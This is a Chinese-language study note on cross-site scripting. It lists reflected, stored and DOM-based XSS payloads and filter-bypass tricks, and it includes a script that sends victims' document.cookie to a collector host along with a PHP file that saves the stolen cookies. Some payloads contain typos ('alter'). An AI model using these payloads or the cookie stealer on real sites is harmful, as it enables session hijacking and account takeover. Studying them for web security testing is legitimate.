zoukankan      html  css  js  c++  java
  • XSS攻击

    XSS攻击

    点击查看代码
    <script>alert('xss')</script>
    <script>alert(document.cookie)</script>  #显示出cookie信息
    <script>document.location='http://www.test.com/cookie.php?cookie='+document.cookie;</script>  需要进行URL编码
    # cookie.php   反射型XSS获取cookie,登录后台
    <?php
    $cookie = $_GET['cookie'];
    file_put_contents("cookie.txt",$cookie);
    

    存储型xss漏洞,数据写入数据库中,利用img标签,如果出现损坏的小图标,就说明存在存储型xss漏洞
    <img src=1 onerror = alter'1'> 如果前面的src=1没有正常执行,就会调用onerror = '111'

    • 无法使用<>:以下三行代码可在<>里面写
      onclick=alter(1)// 点击后触发
      Onmousemove 当鼠标移动就触发 Onmousemove=alter(1)
      Onload 当页面加载完成后触发
    • 将on、script等字符分割:
      <a href=javascript:alert(1)>Clickme</a> 需要先闭合<>、""这些
    • 将on、script等以及href字符分割:更改大小写看是否可行
    • 过滤比较多:可以使用unicode编码形式绕过
      基于DOM的XSS
      基于DOM文档对象模型漏洞的一种攻击方式,不依赖于服务器端的数据,而从客户端获得DOM中的数据并在本地执行。
      通过JS脚本对文档对象进行编辑从而修改页面中的元素。
      url+#javascript:alert(1) javascript伪协议
      判断是否存在DOM型XSS的关键是观察我们的HTML源代码中是否存在相关的js函数
      location.hash
      location.href
      innerHTML
      document.write
      eval("var x = "'+location.hash + ""');
      localStorge、SessionStorge、Cookies

    利用与绕过

    • 大小写绕过

    这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。

    • %0A绕过

      换行符没有过滤,使用%0A进行绕过

    http://www.zixem.altervista.org/XSS/3.php?name=zxm%0A<script>alert("1337");</script>

    • 利用过滤后返回语句再次构成攻击语句来绕过

    我们直接敲入script标签发现返回的网页代码中script标签被去除了,但其余的内容并没有改变。
    这个利用原理在于只过滤了一个script标签。例如:scscriptript

    • 并不是只有script标签才可以插入代码

      例如这里我们用标签做一个示范。

      我们利用如下方式:
      `

      [http://192.168.1.102/xss/example4.php?name=
      src='w.123' onerror='alert("hey!")'>
      `
      就可以再次愉快的弹窗。原因很简单,我们指定的图片地址根本不存在也就是一定会发生错误,这时候onerror里面的代码自然就得到了执行。

      以下列举几个常用的可插入代码的标签。

      <a onmousemove=’do something here’> 
      

      当用户鼠标移动时即可运行代码

      <div onmouseover=‘do something here’> 
      

      当用户鼠标在这个块上面时即可运行(可以配合weight等参数将div覆盖页面,鼠标不划过都不行)

      类似的还有onclick,这个要点击后才能运行代码,条件相对苛刻,就不再详述。

      编码脚本代码绕过关键字过滤

      有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行,简直太贴心了。

      例如alert(1)编码过后就是

      \u0061\u006c\u0065\u0072\u0074(1)
      
      eval()函数:可计算字符串,并执行其中的javaScript代码
      <script>eval("alert('xss')");</script>
      可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本
      
      
    • 主动闭合标签实现注入代码

      这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,javascript是一个弱类型的编程语言,变量的类型往往并没有明确定义。

    • 绕过长度限制

      假设下面代码存在一个XSS漏洞:

    <input type = text value='$var'/>

    服务器端对输出变量$var做了严格的长度限制,那么攻击者可能会这样构造XSS:

    $var='><script>alter(/xss/)</script>'

    希望达到的输出效果是:

    <input type=text value=''><script>alter(/xss/)</script>'/>

    假设长度限制为20个字节,则这段xss会被切割为

    $var输出为:'><script>alter(/xss

    $var='onclick =alter(1)//

         -  可用注释符绕过长度限制   ><!-- -->
  • 相关阅读:
    Deploy Django in Windows
    Django开发环境配置
    springmvc源码解读
    分布式事务中常见的三种解决方案
    分布式锁总结
    JAVA代码优化
    Mysql(mysql总结)
    树(数据结构二)
    集合(Java总结一)
    centos7.7下docker与k8s安装(DevOps三)
  • 原文地址:https://www.cnblogs.com/levelstrcpy/p/15810527.html
Copyright © 2011-2022 走看看